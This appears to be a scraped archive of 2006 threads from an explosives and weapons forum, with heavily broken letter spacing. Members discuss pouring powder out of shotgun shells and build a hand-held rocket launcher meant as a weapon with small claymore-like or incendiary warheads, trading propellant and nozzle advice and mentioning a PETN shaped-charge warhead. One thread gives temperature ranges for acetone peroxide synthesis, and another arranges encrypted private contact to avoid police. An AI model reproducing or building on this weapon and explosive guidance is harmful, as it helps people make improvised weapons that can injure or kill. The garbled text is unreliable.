thick. That is m ore th a n e n o u g h r o o m for a m argin of e rror when cutting. Once you find where the cap is once, as lo n g a s t h e
shells are all the sam e type, it will be in that same spot. Use a hacksaw or razor blade to cut throu gh half way, and then crack
it open.
Lead does not spark IIRC.

I always just cut it just above the brass base.
That would get it just above the powde r charge, in the b ase of the plastic shot wad, allowing m e t o k e e p t h e p e l l e t s n e a t l y
contained in the shell, and the powder readily pourable. :)
And lead is non-sparking.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Percussion Caps?
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lucky13 S e p t e m b e r 9 th, 2006, 11:15 PM

Does anyone know of anywhere in the UK where I can buy percussion caps, specifically #11's? I remem ber playing with these
a s a kid, but for some reason I can't get them a n y m o r e .
I've seen a French percussion pistol in a prop store that is designed just for firing caps, but they didn't sell these :(

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Hand-held rocket launcher
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pearlcrash911 S e p t e m b e r 1 1th, 2006, 01:02 AM

I ' v e r e a d a l o t o f p o s t s a b o u t m a k i n g l a r g e R P G ' s , b u t I h a v e f o u n d t h e m t o h a v e t o o s h o r t o f a r a n g e a n d poor accuracy.
I found the book backyard rocketry by bic farrell, and I decided to m a k e a m iniature version of the shoulder launcher, so that
it could be hand-held.
T o i m prove accuracy, instead of using a large warhead I want to make claym ore-like warheads that are sm a l l a n d c a n b e
m ounted directly onto the rocket engine.
This is not in tended for causing m assive damage, but it should be helpfull for specific targets.
Pictures of la uncher:
http://i103.p h o t o b u c k e t . c o m / a l b u m s / m 146/acetoneperoxide/rocketlauncher1.jpg
Pictures of am m u n i t i o n :
http://i103.p h o t o b u c k e t . c o m / a l b u m s / m 1 4 6 / a c e t o n e p e r o x i d e / r o c k e t b l a n k 2 . j p g
http://i103.p h o t o b u c k e t . c o m / a l b u m s / m 1 4 6 / a c e t o n e p e r o x i d e / R o c k e t b l a n k 1 . j p g
I wanted to run it by here first before I test it to see if it is feasable.
W hat do you think of this launcher?
ShadowMyGeekSpace S e p t e m b e r 1 1th, 2006, 06:26 AM

sounds k3\/\/l to me!
c.Tech S e p t e m b e r 1 1th, 2006, 07:14 AM

At least he followed the rules with gram m ar, po sting in the watercooler and contributing so m e t h i n g .
I think that im provised weapons are great from tim es when there are no alternatives.
stagefivedrift S e p t e m b e r 1 1th, 2006, 04:56 PM

How can Duct Tape and plastic straws be m ore accurate than a conical-no sed, PET N shaped-charge warhead with a 1.5-2 pound
KNO3/sorbitol grain propellant?
If you build them correctly, large RPGs can be quite accurate and extremely fun.
pearlcrash911 S e p t e m b e r 1 1th, 2006, 08:27 PM

Those pictures are only of the original prototype. I didn't want to invest too much time and money untill I had successful
laun ches with it.
And no, it wo uldn't be m o r e a c c u r a t e t h a n t h e R P G y o u d e s c r i b e d , b u t t h a t R P G h a s m a n y d i s a d v a n t a g e s .
One is that the warhe ad you described would take forever to make enough PETN for each warhead, and it h a s s o m uch room
for error with the kno3/sorbitol propellant because if the nozzle isn't m ade perfectly it will not launch farther than a few feet.
1.5 pounds of PETN a few feet away doesn't seem like the best thing:rolleyes:
Sausagemit S e p t e m b e r 1 1th, 2006, 10:08 PM

1.5 pounds of PETN a few feet away doesn't seem like the best thing:rolleyes:
W hat are you currently using for a propellant?
Because if your using m odel rocket engines I h a v e h a d a c o u p l e of those fail on m e!! U su ally when they fail they explode to o.
I woud trust som e t h i n g I m a d e m yself rather than som e t h i n g s o m e o n e e l s e m a d e a n y d a y . B e c a u s e t h e n i f s o m e t h i n g g o e s

wrong I have n o o n e t o b l a m e but m yself.

A n o z z l e d o e sn't have to be perfect in an improvised rocket. All the nozzle does is increase the pressure of the gasses com ing
out. You'll just have to experim ent to get it right.
I want to make claym ore-like warheads that are small and can be m ounted directly onto the rocket engine.
If you strapp e d a c l a y m o r e o n t h e e n d of a powerful am m o n i u m nitrate engine it would spin around like a crazy firework and
m ore than likely kill you.
So what do you think a sm aller version will do?
You could take a trip to Nakka's incred ible rocketry site, do some investigation, and try not to kill yourself. ;)
m e m b e r s . a o l . c o m /ricnakk/ind e x . h t m l
pearlcrash911 S e p t e m b e r 1 1th, 2006, 11:22 PM

I've actually used the KNSU propellant from richard nakka's website for m a n y y e a r s , a n d m a k i n g m otors for this pro pellant I
h a v e l e a r n e d t h e i m p ortance of the no zzle.
W h e n I h a d m ade the motor wrong it did not build up sufficient pressure and only rose ten feet into the air.
I plan on the warhead being smaller than the engine itself so that it can be stabilized by fins and achieve far greater accuracy
without any chance of spinning.

W h e n I h a d m ade the motor wrong it did not build up sufficient pressure and only rose ten feet into the air.
W hat did you do "wrong" to th e m otor? W as the problem with the nozzle alone or did you have problem s with the grain as well.
I f y o u h a d m ore deta il on how you want it to perform, I could he lp you m ore.
Do you want it to be a weapon or m ore of a cool toy?
pearlcrash911 S e p t e m b e r 1 2th, 2006, 12:09 AM

I m ade the nozzle a little too wide, but the grain worked well.
I'm hoping for it to be a weapon that can fire accurately 100 yards horizo ntally, taking out a specific target with the m inum u m
possible warhead.
Another use would be to have it carrying an incendiary warhead to ignite larger incendiaries/explosives from a distance.
I don't know if it would be accurate enough for the second one, but it can't hurt to try.
stagefivedrift S e p t e m b e r 1 2th, 2006, 12:40 AM

That sounds pretty easy. Let m e run through som e d a t a a n d I ' l l p o s t s o m e g o o d i d e a s f o r y o u t o m orrow. :)

Is this what you are after?
www.wfvisser.dds.nl/EN/rockets_BP_EN.html
H e r e i s a g o o d m o d e l r o c k e t d e s i g n p r o g r a m from NASA that uses a few Estes m otors.

http://exploration.grc.nasa.gov/education/rocket/rktsim .html
I h o p e t h e s e help. A D-size m otor and a 1.oz (AP) ballast should work as long as the center of pressure is lower than the
center of gravity. Get it just right and it will fly like an arrow.
H a p p y e x p e r i m e n t i n g ! :D

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > How about that "Bird Flu?"
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Minion5 September 11th, 2006, 01:46 AM

A recent realization has come to me about the previous "Bird Flu" scare.
It use to be all over the news, the threat of Bird Flu. They say that they didn't have enough vaccinations out there for it, and that there was a high risk of it hitting the U.S.
So, one day, while I'm thinking (before I joined this forum), I realize that this just might-JUST MIGHT :rolleyes: -be a conspiracy. Wouldn't bird flu have hit the U.S. already?
What about the other countries? What happened to the news articles? Perhaps this is a way to help boost the sales of vaccines (they were selling them at first, to my
knowledge)? Why are they discussing this virus and its effect in third world countries? . I wonder sometimes...
Please discuss your thoughts.

Conspiray?
Truth?
Sheer Luck?

The virus is still out there, slowly mutating to become more and more adapted to spreading amoung mammals such as humans. Some worrying developements include the fact
that most of the human cases do not genetically trace back to the birds that where assumed to have given the people the virus. Which indicates the carrier wasn't the birds in
most cases, or if it was, not the birds that the person has been in close contact with.
The media can't keep up with a story for a long time because otherwise the sheeple with their 10 second attention spans would be unable to follow it. Obviously big pharma is
going to milk it for all it is worth, but that doesn't mean that the virus still has some extreme potential if it completes mutating.
It's currently in third world countries because that is where the unevolved virus has the best chances of spreading to humans. Nor have birds carried it over to North America
yet. When that happens, expect a media shitstorm for a week before everyone who watches the news gets bored, so the media switches to something new.

If it does mutate and be able to jump from person to person everyone predicts it will be a catastrophe.
But, who says this isnt just going to be another virus such as SARS which will be quarantined or cured.
With vaccinations, is there any potential that the virus will become like HIV and mutate to beat every medicine and treatment that is made?
TreverSlyFox September 12th, 2006, 08:28 AM

c. Tech,
That's the problem with mutation, no one knows what it will mutate into. It's possible that Bird Flu could mutate into a virus that's spread as easily as the common cold, have a
death rate of 10% and an incubation time of 2 weeks. That gives it plenty of time to spread before anyone knows it's here.
Now even on a "good day" it could easily take 6 months to find a vaccine against it, if one is found at all. Plus even after you have spent 6 months finding it, now you have to
produce enough of it to make it worth while. So now it's 9 months later and you have enough to vaccinate the population, which might take another month at least. So now it's
10 months after the "Bird Flu" hit, 50% of the population got it and 15,000,000 are dead just in this country.
Then again "Bird Flu" might never mutate into something that bothers humans on any large scale. Of course SARS could mutate into something twice as worse as people think
"Bird Flu" might become.
knowledgehungry September 12th, 2006, 11:36 AM

A large part of why the story is not currently being covered is that it is not our flu season yet. As soon as people start talking about flu shots Bird Flu will also make a comeback
in the news.
akinrog September 12th, 2006, 10:44 PM

Actually a few kids and elderly died on Bird Flu in my country and led to collection and extermination of domestic birds by the government.
However, this, I reasonably believe, resulted in a much more serious disease called Crimean - Congo Hemorrhagic Fever tranmitted by Crimean - Congo Ticks.
This disease is much more dangerous than Bird Flue and I believe several types of diseases transmitted by ticks are available throughout the world even plegic (i.e. paralytic)
ones.
I believe this was caused by the mass fatality of the wild birds and extermination of domestic / farm birds, which, as you may guess, feed on the insects, including ticks.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Dry Ice / Acetone "slush"
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deadman September 12th, 2006, 02:55 AM

I was reading Science Magic by an author that I can't recall at the moment. It claimed that if you place dry ice chips into acetone it will violently boil at the beginning and the
more time and chips that are applied it boils less and less until it becomes a calm slushy-like liquid.
The book claimed it reached a temperature of -166 degrees farenheit. A little more online research showed that it is most probable to be around -108.4.
The book implied that a flower could be submerged for a few seconds, pulled out and smashed like many of us have seen done with liquid nitrogen. It also claims that you can
make a mercury hammer, by making a paper molding in the slush and pooring mercury into the molding inserting a pencil and waiting for it to solidify to the hammer shape.
Anyways, is there a reason this isn't used with synthesis where cold temperatures are required? Such as acetone peroxide. Or am I overlooking glassware abilities, the required
temp needs to be so high for a reaction to occur? Maybe if more acid was used it would still be a suitable cooling media to keep the amount of trimeric to a maximum?
Any replies are appreciated.

It is used in some ice baths when needed but it is rare.
The temperature is way too low for most reactions and would freeze most liquids.
AP is to be kept between 5 and 10 Celsius, if it got that low everything would freeze and no reaction would happen.
http://www.frogfot.com/misc/icebath.html take a look at more dry ice baths.

For AP reactions I try to keep it at -5*C but then again, -78*C is waaaaay to low.
At that temperature, you might be able to liquify Ammonia, which would be absolutely wonderful. Anyone know if thats possible?
Ammonia's boiling point is -33.34*C, so technically, it would be possible to make liquid ammonia with an Acetone/Dry Ice slurry.
Edit: Got the wrong figures, I thought -77*C for boiling sounded a little strange.

Rare he says :rolleyes: I use acetone dry ice baths almost every day in the lab. I dont even bother with gloves anymore when scooping up the dry ice. You take a hammer to
break up the dry ice and drop the little bits into a Dewar flask, and then you carefully add the acetone until it fills up. The dry ice will boil vigorously at first, froth, foam, and
spill if you are not careful. The super cooled acetone actually appears as a viscous oil when it is this cool; strange to think of it that way. The temperature of this bath is
supposed to be -78C.
I use these as cold traps for vacuum distillations of thermally unstable materials to improve pump efficiency.
You dont want your reaction temperature so low that it is thermodynamically frozen! For every 10C, roughly, increase in temperature the rate of a reaction doubles. The
reverse is also true, cool the reaction 10C and you will slow the reaction by half. Consider also that the reaction to make AP has some water in it; I cant specify the freezing
point of a mixture of variable consistency since that depends on the formula you choose, but I imagine it may well freeze under such conditions.
Just because some reaction is performed while cold does not mean you should make it as cold as humanly possible. If that were the case then the synthesis literature would be
teaming with liquid helium setups. Many reactions perform only within certain temperature ranges.
The concept you need to learn here is called activation energy. This is the MINIMUM energy in order for a reaction to start An example if I may:
Fahrenheit 451, from the book, is the temperature at which paper burns. The activation energy for the combustion of paper is 451F. 450F, nothing, 450.5F still nothing,
450.999F, nada, but at 451F, whoosh! You get the picture right?
deadman September 14th, 2006, 11:39 AM

OK I thought that might be the case.
Also, 451 is the penal code for arson.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > In pursuit of understanding
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kenneo S e p t e m b e r 1 3th, 2006, 02:05 AM

First off I would like to say that I hold this forum and its m e m b e r s i n t h e h i g h e s t r e g a r d . I h a v e r e a d s o m e of the m o s t
creative and truly ingenious id eas thought of on this site and aspire to attain the knowledge and understan ding of chemistry
that many of you here possess.
Bein g an electrician, and having studie d num erous volum es on electrom a g n e t i c t h e o r e m , I a m f a m iliar with atomic structures
a n d t h e p r e s u m ed forces at work therein.
But m y weakness lies not in theory, but rather understanding of the basic rules that govern chemical reactions in eq uations.
Most of the inform ation I've researched first starts with the Law of Conservation explanation, then a chemical reaction
( e x a m p l e : ) T i n o x i d e is heated with hydrogen gas to form tin metal and water vapor. W rite the balanced equation that
describes this reaction.
W rite the unbalanced equation.

SnO2 + H2 --> Sn + H2O
t h e n i m m ediately goes into balancing the equation, but how did they arrive at the unbalanced equation? How does SnO 2 + H2
form Sn + H2O? what steps were taken to conclude this in the equation form? I'm sure it's not as easy as 1+1=2 but there
m ust be a fo rm ula or set of rules to help you d etermine this.
If anybody knows of a website that details this process, or can offer an explanation I would surely appreciate the heads up.
Thank You.

In a nutshell it all boils down to electonegativity. You are an electrician, so you should understand the concept that chem ical
reactions involve the flow of electrons from one atom to another. The electronegativity of every element on the periodic table
h a s b e e n e x p e r i m entally dete rm ined. In general electronegativity increases from the bottom up, and from the left to right.
Fluorine is th e m ost electronegative elem ent.
Now how does electronegativity help you predict a chemical reaction? For organic reactions it does not help m uch, and m o s t o f
the tim e everything h a s t o b e e x p e r i m entally d etermined anyway. In theory electrons will flow from a less electronegative
e l e m ent to a m ore electronegative elem ent.
2Na + C l2 --> 2NaCl
Sodium burns in a chlorine atm osphere. Chlorine is a very electronegative elem ent, it wan ts electrons. Sodium has too m a n y
electrons in its opinion, so it is happy to give them up. W h y d o e s s o d i u m want to get rid of its electrons and chlorine want
m ore? That has to do with the octet rule, or the rule of 8 which h as to do with stable electron orbitals.
SnO2 + H2 --> Sn + H2O
Hydrogen is acting as a reducing with tin in this reaction. It is easier for oxygen to share the electrons from hydroge n b e c a u s e
hydrogen is m ore electropositive than tin. In laym ens terms the hydrogen atoms are far more willing to give up their electrons
than the tin is. The resulting molecule of tin an d water is more stable than tin oxide and hydrogen. The balanced reaction
should be SnO2 + 2H2 --> Sn + 2H2O
In short there is no simple answer to a question like yours because there is a TON of chemistry behind it. There are things that
you must sim ply know. Acids react with bases to form salts, things get oxidized or reduced, there are strong oxidize rs, and
strong reducers. Some substances may result in a precipitation that rem oves that ion from the solution. Electrolysis can reve rse
reactions. U nder the right conditions ju st about any element can be made to react in a way it would not ordinarily.
The reason an unbalanced reaction is used is for simplicities sake. It rea lly does not matter that there are two moles of
hydrogen for each m ole of tin oxide. All you really need to know is that tin oxide reacts with hydrogen to form tin and water,
and that is what the unbalanced reaction conveys. If you were actually making tin m e t a l b y p a s s i n g h y d r o g e n g a s t h r o u g h a
tube filled with heated tin oxide, the balanced equation would be largly irrelevant since all we care about is the end product,
tin. W e s t i l l n e e d t o p a s s a n e x c e s s o f h y d r o g e n over the oxide, but that is some thing learned only through experimentation
and real world experience. Only hom ework problem s m ake use of perfect stoichio metry.

Mega, I appreciate your respo nse. Electronegativity is an aspect of THEORY of which hadn't clicked to me before in trying to
understand chemical reactions, but which is starting to make sense now on a lower level(I Think).
Having researched it a little, it seem s to m e that Electro negativity would equate to som ething like GR A V I T Y o n a m acroscopic
scale i.e. the sun is m ore Electronegative than the earth and so on... for whatever reason I guess:rolleyes:
I k n o w I h a v e a T O N of material to lea rn.
The confusing part for me is the result from the reaction, for exam ple yo u said 2Na + C l2 ---> 2 NaCl. W h a t s t e p s d i d y o u t a k e
to figure that out? Do you through exp erience automatically know that somehow? In 2Na + Cl2 com bined (reacted) to m a k e 2
NaCl, what happened to the 2 after the C l ? I ' m m i s s i n g a s t e p s o m e w h e r e ( m a y b e s e v e r a l ) a n d I ' m unable to see where it is.
Again I appreciate your time in helping m e with this matter.
FUTI S e p t e m b e r 1 4th, 2006, 10:16 PM

Mega I wouldn't try to explain to anyone som ething like this in term s of electronegativity. Your aproach is OK since he choose
a reaction with gas hydrogen. Affinity toward electron an d ionisation potential are two REAL parame ters that can describe
reaction involving gas phase (although this is solid-gas mixture but anyway...). This two values are som etim e s u s e d t o d e f i n e
electronegativity.
Now there is a problem ...I once counte d diferent ways of defining electronegativity and give up after I reach m e t h o d n u m ber 7.
Electronegativity is little arbitrary value. True value indeed, but obtained with little adjustin g the theory/table data to fit the
observed experim ental data.
kenneo, Mega is right. None can teach you chem istry during a chat session. You could look for a table of redox potential in
s o m e chemistry book . I think it would m a k e y o ur life easier since it is closer to your field of work. Don't tak e this as fool-pro of
m ethod of understanding how chemica l reaction can be writen, as Mega said there is a still a ton of chem istry for you to learn,
but for a start this should work.

Chlorine exists in nature as a diatomic m olecule, Cl2. Sodium exists only as Na in its m etallic state. The reaction then involves
Cl2 + Na, but because we have two chlorines we have to a d d a s e c o n d s o dium to balance the reaction. Two atom s o f e a c h
e l e m ent going in give us two m olecules of NaCl going out. That chlorine is diatom ic is just one of those things you m ust know
from reading chemistry texts.
kenneo S e p t e m b e r 1 4th, 2006, 11:20 PM

Thanks for the replies guys, It appears as though I've jum p e d t h e g u n o n the whole reactions thing. After some serious
p o n d e r i n g a n d s o m e reading, I've now realised what Mega was talking about when he said:
In short there is no simple answer to a question like yours because there is a TON of chemistry behind it. There are things that
you must sim ply know. Acids react with bases to form salts, things get oxidized or reduced, there are strong oxidize rs, and
strong reducers. Some substances may result in a precipitation that rem oves that ion from the solution. Electrolysis can reve rse
reactions. U nder the right conditions ju st about any element can be made to react in a way it would not ordinarily.
I apologize for postin g this in the first place. I should have figured this o ut on m y own. I thought there was possibly a
"shortcut" or sim ple set of rules to determine results of reactions, but I now see that there are alot of variables involved, Of
course, anything of value is never attained easily. So I have ALOT of reading to do. Thanks again.
GibbsFreeEnergy S e p t e m b e r 1 5th, 2006, 01:59 AM

An understanding of the concept of concentration in chem istry m ight be necessary to help you really understand a chem ical
e q u a t i o n . T h e s t a n d a rd units for chemical equations are called "m ols" which are a unit of m easure that indicates a standard
a m ount of atoms, which happens to be 6.02e23 atom s. This num ber of atoms equals one m ole. One mole of any elem ent is
equal to the weight given on the periodic table (unless that elem ent is diatom ic; an elem ent that only natu rally exists in
"pairs" because of the stability of a bond between two u nits of the diatom ic elem ent). O ne m o l e o f a n y m o l e c u l e i s e q u a l t o
the weight of all the elem e n t s m aking it up. For example, if one h a d 1 0 g r a m s of NaCl (Table salt) they would have 10.0 g/
5 8 . 5 g r a m s p e r m ole (from peroidic table) which gives .171 m o l e s o f N a C l . W h e n o n e r e f e r s t o a c o m pound that is not
prim arily made of ion ic bonding, this total weight is refe rred to a s m olecular weight. If the compound in question ha s ionic
bonding prim arily, it is referred to as formula weight. Concentration in chem istry is measured in different units. Many of these
units use m o l s p e r s o m e v o l u m e to determine a concentration. It's like having 2 gallons of fructose in 10 gallons of water; one
h a s 2 0 % c o n centratio n of sugar in solution (water).
I o n i c b o n d s a r e b o n d s b e t w e e n atoms that, in essence, "steal" eachother's electrons. Certain elem ents have an affinity for
bein g positive, called cations (e.g. Na+) and some for being negative, called anions (e.g. Cl-). This is determ ined easily by the
p o s i t i o n o f t h e e l e m e nt on the periodic table. Metallic elements all tend to be cations. By each elem ent carrying a
countercharge (+vs-) the charges result in a ne utral state hereby making ionically bonded compounds very stable- they have
very high m elting points and other interesting characteristics, and they are almost always soluble in water. W ater is like an
ionic com pound (but it is not bonded ionically;next type o f b o n d e x p l a i n s i t s s y s t e m ) in that it has a greedy charge distribution
about its structure. You'll need to read a book to grasp all this stuff beca use I'm going over it all rather sim ply.
O n e o t h e r t y p e o f b o n d , t h e o ther m ain type, is called covalent bonding. This is where elem ents share electrons through a
bond. A version of this bond is referred to as "polar covalent" meaning the electron density between the two elem e n t s b o n d e d
together is m ore positive at element A and more negative at element B, creating poles. Non-polar covalent, on the contrary, is
an equal distribution of electron density between the elem ents involved in bondin g.
I can barely begin to teach on e chemistry on a forum, but I attem pted to give you a quick run down. To understand chemistry,
buy a textbook and begin to read it like a bible. As far as rem e m bering things go, be sure to learn and understand all the
trends in the periodic table for these will help you to become able to predict m any simple reactions in chem istry. As
M e g a l o m a n i a s a i d , m any com plex reactions an d m ost reactions that aren't routinely done in organic chem istry need to be
e x p e r i m entally tested to verify results. Once you learn basic chem istry, you'll be able to m ove on to organic chem istry where
you'll find od d things in reactions like two reactants form ing 4 different kinds of products because of certain conditio n s a n d
behavior of the m olecules involved. Sorry this has gone on far too long :)
Lewis S e p t e m b e r 1 5th, 2006, 08:02 PM

Kenno, if you are an electrician, that would m e a n y o u h a v e t a k e n a l l t h e h i g h s c h o o l c o u r s e s n e s s i c a r y t o g r a d u a t e , m e a n i n g
you DID learn all this stuff at one point (probably).
I believe the basics o f chem are learned at grade 10. If you flipped through som e chem istry books, I'm sure your mem ory
would be tweaked and you would reme mber a lot.

In the US chem istry is grade 11, and then only for those who go the college prep route. This also assumes they have a well
funded school district. I am lothe to im agine what som e of the "urban" schools have for a chemistry program . Their knowledge
of chem istry might well begin and end with free base, baking soda, and cutting of product :)

Hey fellas, just to reiterate on m y purpose for posting this thread. It seem ed as though everywhere I turned in m y endevour to
understand chemical reactions, there was always a reaction such as: (H + O --> H2O).
T h i s s e e m e d to m e a s s o m e t h i n g l i k e a m ath problem , ( o r a s e a s y a s o n e ) s o I ' m thinking, oh ya (1H) + (1O) = (H2O ),

suuuuure, oh wait a minute where the hell did that 2 com e from ? But as Mega pointed out, that chlorine is a diatom ic
m olecule, ap arently so too are Hydrogen AND Oxygen (I wasn't aware of this). So you actually get (H2 + O2 = H2O ) thats
better, but what the Fuck, shouldn't that be (H2 + O2 = H202) see I was thinking it was th is easy, However I now know it is not.
To Lewis's Reply:Kenno, if you are an electrician, that would m ean you have taken all the high school courses nessicary to
graduate, m eaning you DID learn all this stuff at one point (probably).
I did not graduate High Schoo l, rather I took the path o f Mega's accurate presumption of rocking and chopping product, see for
m e it was another SIMPLE math proble m MONEY + CANDY = PUSSY of which consumed m o s t o f m y a d o l e s c e n t
years,unfortunately (A lot of wasted Tim e).
Everything I've learned about the electrical field has been through rigorous self-study and on the job fuck ups. And I probably
have a warped sense of electrical theory as well, but what I have learned helps me solve most problems which in turn allows
m e to pay m y bills. Yet another SIMPLE math problem.
However I have recon ciled to understanding m ore in depth the world in which we live and the way things within it are governed
through chemistry. And have accepted that there is a whole shitload of m aterial of which I am not familiar with, and which I
m ust learn.
Thanks to you all for your replies.

Okay, sorry for being presum p t u o u s e n o u g h t o a s s u m e y o u ' d t a k e n c h e m istry, I guess it's not as standard in the U .S. as I
thought.
The reason why water form s in the reaction you described has m ore to it than the fact that both atom s are diatom ic. It also
involves the atom 's charge, or num ber of bonds that it can form.
So think of the atom s as billiard balls, each with a different amo unt of sticks coming out of them . The 'sticks' are the bridges
which can connect the m to a d ifferent atom.
W hile the oxygen ato m looks like this: --(O)--
T h e h y d r o g e n a t o m looks like this: (H)--
And they COMBINE to form water, like this: (H)--(O )--(H)
Is this sheding any light on th e subject?
nbk2000 S e p t e m b e r 1 9th, 2006, 12:24 AM

Since when d id we becom e an interactive classroom ?
Let him figure it out on his own from here on.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Aviation Security
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Tom Campbell S e p t e m b e r 1 3th, 2006, 10:38 AM

Hey Folks,
t a k e i t e a s y o n t h e A V S E C p e o p l e . I t ' s b a d e n o u g h t h a t t h e y h a v e a b l o o dy difficult job to perform let alone that they're m ostly

ill trained for the task and of course th is latest idiocy about 'Liquid Explosive' from the 'Powers Tha t Be' doesn't help m uch
either. Now, if anyone has any ideas about wha t the buggers in the UK had in mind when they were up to.....well whatever they
were up to...(presum ably this wasn't Quasimodo bin Liner shouting BOO O!!! just to see the underp ants turn brown) I'd
appreciate your input. See, I try to produce the training stuff - images of IEDs etc. that these 'goons' (and I don't think that's
an appropriate epithet for most) need in order for them to be a little more effective. I get sod all information from P T B s o I
spend a lot of tim e trawling good sites like this one for inform ation. Like I say an ything relevent will help. Think of it as
enlightened self interest eh? After all, I presum e you all use air transport from time to tim e.
Cheers,
TC.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Australian Members
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Alexires September 13th, 2006, 12:22 PM

I don't know if this is allowed, hence the water cooler.
You should all be able to see the msn contact thingy on my post. If all the Australian members could get in touch with me that would be great. I'd like to link up the Australian members if I can.
This would allow us to share info and ideas that may only really be suited to Australia and its oppression.....uh....legal system I mean.
I'm already in touch with a few of you, but the more the merrier.
Lets see where this goes...

I'm a rather trusting person, although I would be a little edgy having all these people having instant message access to my addy.
I've heard that IP's can be traced through MSN, it could just be a myth but just to be on the same side I thought I should ask others.
It would be a perfect place for a pig to go and make some busts if it was that easy.
and Alexires, I've added you. :) What times are you usually on, I can find some good information on Victorian law if its use to you from a site I got at school.
EDIT: Sorry I just realised your location is south Australia, I thought it said southern Australia.
fiknet September 14th, 2006, 08:05 AM

Here is something of use for encrypted MSN conversations
http://www.secway.fr/us/products/simplite_msn/home.php
It only works though if both people are running the software when they IM each other.

On general principle, RS discourages members from using any form of IM with other members, as that could be seen as 'conspiracy' or 'conspiring to commit (insert crime)'.

Pigs don't bust people over IM convos. They wait and encourage them along to break as many laws as possible, THEN bust them and trot out all the evidence, including online communication in court. Obviously, if
you discuss your plan to destroy the government they'll track you down and try and encourage you along before busting your ass and sending you to some unkown jail in some other country.
FragmentedSanity September 14th, 2006, 11:05 PM

We tried an OZ forum years back and it did the predictable thing and died out after a few months with no interest, but IMO a forum is still the best method for this kind of discussion.
Instant Message's are something I feel give too much access to your computer, and well honestly the subject matter discussed here dosent exactly inspire a lot of trust in the good intentions of my fellow man.
So while im all for the idea of aussies being able to chat about aussie stuff, ie has anyone in Australia actually found kno3 stump remover? I dont know that IM is the right medium for me.
Prehaps a blog, or if your after realtime chat i've seen java based chat servers before.
Theres always email, my addy is under my profile.

Or we could just keep using the watercooler for .au related stuff that dosen't fit elsewhere.

I don't think that is what he had in mind at all. I think he has bigger plans than just finding stump remover, which someone can do quite easily on the forum. Course the only way to know for sure would be to talk to
him.
In any case, getting to know and networking with others is always a good thing- if the forum has trouble, you're not cut off, IMing can allow a better discussion of some ideas, etc.
FragmentedSanity September 15th, 2006, 09:27 AM

Not sure I agree with you about the networking always being good, but your entitled to the opinion. My objection however isn't to the networking, it was to the chosen method, namely Instant Message - and MSN
at that.
For the record, I have read a few of Alexires posts, so Im sure his plans are bigger than finding stump remover. It wasn't at all intended to belittle his idea - merely an example of something Id ask the current
batch of Aussies, as I've been here a while and never found an answer to the subject of whether "stump remover" is available anywhere in Australia.
The point was to show that there were other ways to communicate with people, and that some people might be more receptive to methods other than IM.
Chris, it seems your a fan of the instant message concept, judging from all the icons you display. My time on the net spans back a ways - and I vividly remember a time when using IM was like inviting people into
your system. These days I only use IM to keep in touch with people I already know and trust.
That being said Ive done the very thing being discussed in the past. Maybe now im just older and more paranoid.

I don't see IMs as any more comprised than email. Both can be read and intercepted, both can reveal personal information if you are careless, etc etc. I use IMing a fair amount myself, as I see it more personal
than emails. I have so many simply because some people prefer to use MSN, others ICQ etc.
But I don't limit myself, I use PMs, email, IMs, skype etc to communicate with people. Each has strong points and weak points.
IMO however any form of networking yields positive benefits that outweigh the risks if you are intelligent, use common sense, and the other obvious points of using the internet to communicate with others.

IM is a real-time, direct connection, of your computer to another computer.
Again, publicly posting information or discussing pretty much anything on a board is protected under the US Constitution.
Privately discussing certain matters can be, and has been, considered criminal conspiracy.
Discussing meth recipes (for instance) publicly is protected. Telling someone via IM how to do so is criminal conspiracy.
No one can stop you from doing what you want, and we wouldn't want to even try, but it's YOUR ass that's at risk, so do what you will even knowing the risks.l
Bugger September 16th, 2006, 01:51 AM

I'm in New Zealand, if you want to include us.

Do you want to become the next state of Australia? I wouldnt mind, but I bet not many kiwis want to join the bigger brother.

We can trade them for one of our shity states. And chuck good ol' Johnny H in with it. :D

I'll give you $2 for him, I'd prefer Clarke. And she'd got testes!

Urgh, sorry I made this and buggered off for a few days, things were distracting me.
Thanks for adding me c.Tech. I'm normally on after 10pm most nights.
The rest of you, if you don't want to use MSN then send me an email?
This is my public key for PGP -
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Version: PGP 8.0.3
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Send me an email if it makes you feel better and we can discuss options for talking privately.
Fragmented Sanity - I did have more in mind than KNO3 stump remover, but then again, I can help you with that as well.
Also, MSN isn't my "prefered method", I was simply offering my email address instead of posting it on the forum for all those wonderful junkmail spyders. I am most certainly open to any other IM program that
people want to use.
I have had some luck with TrilogyEC which is ment to be an encrypted java run IM package.
NBK, while what you post on the internet may be protected under US constitution, we have no such protection.
*laugh* We (Australians) now live in a democracy where it is illegal to speak out against the government, because we may be instigating "terrorism".
Bugger - Why the hell not? I'd rather live in NZ than Aus anyway. This thread was for everyone in the Australian area (Tasmania and NZ included).
I'm willing to put my neck out to get in touch with the rest of the Australian members. I accept that it is the nature of what we do to be suspicious, but there is a point where out suspicion hurts us.
I know that a few of the american members are in contact with one another, so why not try the same here?
I leave it up to your good judgement. You shouldn't be scared to talk to me if you are intelligent and are willing to take some measures to protect yourself.
If/when you decide I am trustworthy, we may take it from there.
wolfy9005 September 19th, 2006, 07:47 AM

your added Alexires.

Thanks Wolfy9005.
I recommend that if people are going to contact me, they get that simp program. I don't know if it works or not, but its always nice to have SOME kind of security (even if it isn't PGP).
fiknet September 19th, 2006, 09:51 AM

Sorry for being silly, but I can't see your MSN address :o . If someone wants to add me it's little_dude00001 at hotmail.com

If anybody wants to add me my emails c.Tech_@hotmail.com or just click the msn icon on the right.
Alexires October 14th, 2006, 10:25 PM

Thanks to everyone that has added me, or supplied their email address here.
Sorry I haven't been online for a month or so, I have been having net issues. Combined with work, I won't be around as much as I used to be, but still, I'll keep up with everything happening around here.
Anyone else going to contact me?

I know there has been a lot of controversy in the paper/news lately regarding this"Access Card" possibly be miss-read as "Identity Card".
I am of course talking about the proposed Federal Access Card, which will replace a lot of health and social benefit cards. While I could see both sides of the argument, I, too, was wary that it might turn into an
identity card.
Low and behold -
This I quote from the Advertiser (South Australian News Paper) -
"Access Card
Police could use photos
A PHOTO database of almost every Australian could be accessed by police to help identify suspects, a parliamentary inquiry has heard.
The inquity into the implementation of the proposed $1.1 billion Access Card, to be used to access medical and welfare systems, could have a spin-off use - for identifying criminals.
